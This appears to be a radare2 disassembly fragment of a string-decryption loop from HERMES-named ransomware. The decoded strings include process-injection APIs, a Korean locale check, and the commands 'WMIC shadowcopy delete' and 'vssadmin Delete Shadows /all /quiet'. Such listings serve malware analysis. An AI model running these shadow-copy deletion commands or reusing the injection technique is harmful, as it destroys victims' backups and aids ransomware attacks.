mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r12d
jl 0x7ff788e245f6
mov r8d, edi
lea r9, str.CommandLineToArgvW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x12
jl 0x7ff788e2461b
mov r8d, edi
lea r9, str.GetAdaptersAddresses
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x14
jl 0x7ff788e24641
mov r8d, edi
lea r9, str.IcmpCloseHandle
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0xf
jl 0x7ff788e24667
mov r8d, edi
lea r9, str.IcmpCreateFile
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r12d
jl 0x7ff788e2468d
mov r8d, edi
lea r9, str.IcmpSendEcho
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r10d
jl 0x7ff788e246b2
mov r8d, edi
lea r9, str.WriteProcessMemory
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x12
jl 0x7ff788e246d7
mov r8d, edi
lea r9, str.OpenProcess
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, ebx
jl 0x7ff788e246fd
mov r8d, edi
lea r9, str.VirtualFreeEx
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r11d
jl 0x7ff788e24722
mov r8d, edi
lea r9, str.CreateRemoteThread
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x12
jl 0x7ff788e24747
mov r8d, edi
lea r9, str.LookupAccountSidW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x11
jl 0x7ff788e2476d
mov r8d, edi
lea r9, str.HERMES
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 6
jl 0x7ff788e24793
mov r8d, edi
lea r9, str.SYSTEMCurrentControlSetControlNlsLanguage_
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x2e
jl 0x7ff788e247b9
mov r8d, edi
lea r9, str.InstallLanguage
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0xf
jl 0x7ff788e247df
mov r8d, edi
lea r9, str.0412
mov r14d, 4
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r14d
jl 0x7ff788e2480b
mov r8d, edi
lea r9, str.1042
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r14d
jl 0x7ff788e24830
mov r8d, edi
lea r9, str.C:WindowsSystem32cmd.exe
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x1b
jl 0x7ff788e24855
mov r8d, edi
lea r9, str.cmd.exe__c__WMIC.exe_shadowcopy_delete_
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x27
jl 0x7ff788e2487b
mov r8d, edi
lea r9, str.cmd.exe__c__vssadmin.exe_Delete_Shadows__all__quiet_
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x34
jl 0x7ff788e248a1